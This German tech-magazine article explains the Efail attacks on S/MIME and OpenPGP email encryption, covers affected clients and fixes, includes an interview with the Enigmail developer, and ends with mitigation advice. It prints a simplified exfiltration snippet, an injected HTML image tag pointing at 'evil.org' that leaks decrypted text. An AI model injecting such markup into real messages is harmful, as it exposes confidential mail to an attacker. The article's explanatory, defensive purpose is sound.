Krypto-Desaster

Efail: Erfolgreiche Angriffe auf E-Mail-Verschlüsselung

Ein deutsches Forscherteam demonstriert Angriffe auf verschlüsselte E-Mails. Mit ihrer Hilfe könnten sie in den Besitz geheimer Informationen gelangen. Und zwar sowohl bei S/MIME als auch bei OpenPGP.

Von Jürgen Schmidt

Wenn man heute E-Mails verschlüsseln möchte, hat man zwei Optionen: S/MIME und OpenPGP. S/MIME kommt vor allem im Firmenumfeld zum Einsatz. Dieser Standard hat den Vorteil, dass ihn nahezu alle Mail-Programme von Haus aus unterstützen. OpenPGP stammt aus einer Graswurzelbewegung, erfordert zusätzliche Erweiterungen, genießt aber sehr hohes Ansehen bei freiheitsliebenden Aktivisten. Beide beruhen auf Standards, die bereits viele, viele Jahre auf dem Buckel haben. Das rächt sich jetzt bitter.

Das Grundproblem ist, dass verschlüsselte E-Mails nicht ausreichend gegen Manipulationen gesichert sind. Es ist heute in der Kryptografie eine Selbstverständlichkeit, dass man verschlüsselte Daten durch eine Integritätssicherung vor nachträglichen Änderungen schützen muss; Stand der Technik ist deshalb Authenticated Encryption (AE). Aber bei S/MIME ist dieses Konzept gänzlich unbekannt. Bei OpenPGP gibt es zwar eine Integritätssicherung, doch die ist nicht konsequent umgesetzt.

Ohne ausreichende Integritätssicherung kann ein Angreifer verschlüsselte Mails abfangen, manipulieren und dabei etwa eigene Dinge einfügen. Der E-Mail-Client des Empfängers entschlüsselt dann die manipulierte Mail mit dessen Schlüssel und zeigt sie an. Bumm!!!

Der Efail-Angriff

In diesem Moment kann es nämlich schon zu spät sein. Der vom Angreifer eingeschleuste Code hat eventuell Teile des geheimen Textes der Mail an einen Server unter Kontrolle des Angreifers geschickt. Ein etwas vereinfachtes Beispiel einer HTML-Mail illustriert das Prinzip. Der Angreifer schleust in die Mail die Zeichenkette

```
<img src='http://evil.org/?
```

ein. Man beachte das geöffnet,e aber nicht geschlossene Anführungszeichen, dessen Gegenpart er hinter dem geheimen Text platziert: `'>`.

Beim Anzeigen der Mail passiert das Folgende: Der E-Mail-Client entschlüsselt den Ciphertext – etwa zu „STRENG_GEHEIMER_TEXT“ – und setzt alle drei Teile zusammen:

```
<img src='http://evil.org/?STRENG_GEHEIMER_TEXT'>
```

Bei der Anzeige der Mail ruft das E-Mail-Programm das angebliche Bild vom Server ab und schickt ihm dabei den geheimen Text. heise Security konnte diesen vereinfachten Angriff tatsächlich nachvollziehen.

Bei sicherheitsbewussten E-Mail-Nutzern überschlagen sich jetzt natürlich die Gedanken: „Nachladen von Bildern deaktivieren“, „HTML abschalten“, … Beides sind in der Tat vorbeugende Maßnahmen, die die Gefahr reduzieren. Doch beide schaffen das grundsätzliche Problem nicht aus der Welt.

Statt Verweise auf Bilder kann der Angreifer andere HTML-Elemente einschleusen, die einen automatischen Zugriff auf externe Server veranlassen. Das Team um Sebastian Schinzel, das das Problem aufgedeckt und mit dem Namen Efail versehen hat, dokumentierte eine ganze Reihe von solchen „Exfiltration Gadgets“. Letztlich gelang es ihnen damit, nahezu alle großen Mail-Programme dazu zu bewegen, ohne weiteres Zutun des Anwenders geheimen Klartext an externe Server zu schicken. Unter anderen gelang dies bei Microsoft Outlook, Windows Mail, Apple Mail, iOS Mail und Thunderbird.

Die Wurzel des Übels

Das Abschalten von HTML verringert die Angriffsfläche gewaltig – die aktuellen Efail-Angriffe funktionieren damit nicht mehr. Aber erstens ist das in vielen Einsatzszenarien nicht wirklich praktikabel. Und zweitens ist es auch noch keine Lösung für das zugrunde liegende Problem: Sobald ein Angreifer Dinge in die Mail einschleusen kann, besteht akute Gefahr, dass da Böses passiert.

Was man eigentlich bräuchte, ist eine verpflichtende Integritätssicherung der verschlüsselten Inhalte, wie sie etwa AES im Galois Counter Mode (GCM) bietet. Das kommt bei anderen Verschlüsselungslösungen wie der Transportverschlüsselung TLS längst zum Einsatz. S/MIME hingegen arbeitet immer noch mit AES mit Cipher Block Chaining (CBC) ohne Integritätsschutz, das für dieses Einschleusen von fremden Inhalten anfällig ist. Digitale Signaturen von E-Mails schützen in diesem Kontext übrigens nicht, weil sie sich einfach entfernen lassen.

Besser sieht es bei OpenPGP aus. Dort haben die Entwickler das Problem bereits vor vielen Jahren erkannt und ihr ebenfalls anfälliges AES/CFB durch einen Modification Detection Code (MDC) ergänzt. Das Problem dabei: 17 Jahre nach ihrer Einführung sind MDCs im Standard immer noch nicht so festgeschrieben, dass sie Manipulationen zuverlässig verhindern.

Das Resultat ist vorhersehbar: Viele PGP-Erweiterungen nutzen MDCs immer noch nicht oder nicht konsequent. So kann ein Angreifer in vielen Fällen MDCs entfernen und der Angriff funktioniert wie zuvor. Oder er lebt mit einem kaputten MDC. Der Anwender erhält dann zwar eine Warnung, aber oft versucht der Mail-Client trotzdem, die Nachricht darzustellen und exfiltriert dabei Geheimtext. Konkret gelang es dem Efail-Team unter anderem, die beiden populären PGP-Erweiterungen Enigmail für Thunderbird und die GPGTools für Apple Mail zu attackieren. Auch das nicht mehr weiter entwickelte GPG4Win erwies sich als anfällig.

»Verschlüsselung zu deaktivieren ist kontraproduktiv.«

c't: Sind Sie mit der Geschwindigkeit zufrieden, mit der die Efail-Lücken geschlossen wurden?

Patrick Brunschwig: Ich habe die Bugs, welche Enigmail betreffen, recht zügig korrigiert. Die Korrekturen sind bereits in Enigmail 1.9.9 und 2.0 eingeflossen. Auf Seiten von Thunderbird wurde das Thema leider nicht so schnell bearbeitet. Parallel zur diesem Problem gab es große interne Code-Umstellungen. So waren kaum Kapazitäten für andere Arbeit vorhanden und das Beheben der Fehler dauert an. Insofern bedauere ich es sehr, dass man nicht noch ein paar Wochen warten wollte, zumindest bis Thunderbird 52.8 veröffentlicht ist.

c't: Die Art, wie die Lücken im Vorfeld von der EFF publik gemacht wurden, wurde heftig kritisiert. Wie sehen Sie das?

Brunschwig: Ich bin über die Art und Weise der Veröffentlichung sehr enttäuscht. Ich hätte gerne rechtzeitig dazu Stellung bezogen und den Anwendern erklärt, was sie tun können, um dennoch sicher verschlüsselte E-Mails lesen und schreiben zu können.

Patrick Brunschwig ist Entwicker von Enigmail, einem Plug-in zum Verschlüsseln von E-Mails.

Die Empfehlungen, die Verschlüsselung zu deaktivieren und entsprechende Plug-ins zu deaktivieren, kann bestenfalls als unüberlegt und kontraproduktiv bezeichnet werden. Hinzu kommt, dass die OpenPGP-Verschlüsselung generell als unsicher dargestellt wird, was so nicht stimmt. Anstatt unnötig auf Panik zu setzen, hätten die Efail-Autoren den Anwendern empfehlen sollen, wie die einzelnen Tools so konfiguriert werden können, dass sich die Schwachstellen nicht ausnutzen lassen.

Der Stand der Dinge

Die Forscher haben die Hersteller der betroffenen Programme bereits 2017 informiert. Einige wie das Enigmail-Team haben die akuten Probleme bereits weitgehend entschärft. Thunderbird arbeitet noch daran und bei Apple und Microsoft ist uns der aktuelle Status nicht bekannt. PGP wird sich über die MDCs einigermaßen abdichten lassen; bei S/MIME sind hingegen größere Umbauten erforderlich.

Anwender können auch selber einiges zum Schutz ihrer verschlüsselten E-Mails beitragen. Etwa indem sie die aktuellen Updates für E-Mail-Programme und -Plugins immer zügig einspielen. Außerdem sollte man etwa mit dem E-Mailcheck auf heise Security überprüfen, ob das Nachladen von Bildern abgeschaltet ist. Wenn nicht, wäre das auch ohne Efail ein Privacy-Problem. In ernsthaft sicherheitsrelevanten Umgebungen ist es ratsam, die HTML-Anzeige komplett abzuschalten. Da das oft nicht sinnvoll möglich ist, empfiehlt sich etwa in Thunderbird der Modus „Vereinfachtes HTML“ (unter „Ansichten/Nachrichteninhalt“), der viele Angriffe verhindert. Damit kann man etwa Enigmail nach wie vor recht sicher einsetzen. Besser als unverschlüsselte Mails ist es allemal.

Doch auch wenn die jetzt vorgeführten Angriffe damit verhindert werden, bleibt E-Mail-Verschlüsselung ein Problem. Denn Standards und Umsetzung von E-Mail-Verschlüsselung hinken dem Stand der Technik in Sachen Kryptografie zu sehr hinterher. Um das zu ändern, wären grundsätzlichere Modernisierungen erforderlich – sowohl bei S/MIME als auch im PGP-Ökosystem. Doch die PGP-Gemeinde hat es offenbar in 17 Jahren nicht geschafft, ein einmal erkanntes Sicherheitsproblem nachhaltig zu beseitigen. Und den völlig überalterten S/MIME-Standard hält etwa Efail-Entdecker Schinzel für einen hoffnungslosen Fall.

Wer deshalb eine Alternative sucht, kann vielleicht in besonders sicherheitsrelevanten Szenarien über den Messenger Signal kommunizieren. Dessen Einsatz von Kryptografie definiert quasi den aktuellen Stand der Technik. Außerdem kann man darüber neben Nachrichten mittlerweile auch Dateien verschicken und gesichert telefonieren. Der Einsatz von Signal ist vergleichsweise einfach und hat sich etwa in der Praxis von heise Security bereits mehrfach bewährt. *(ju@ct.de)* c't

Download von Signalt: ***ct.de/yydh***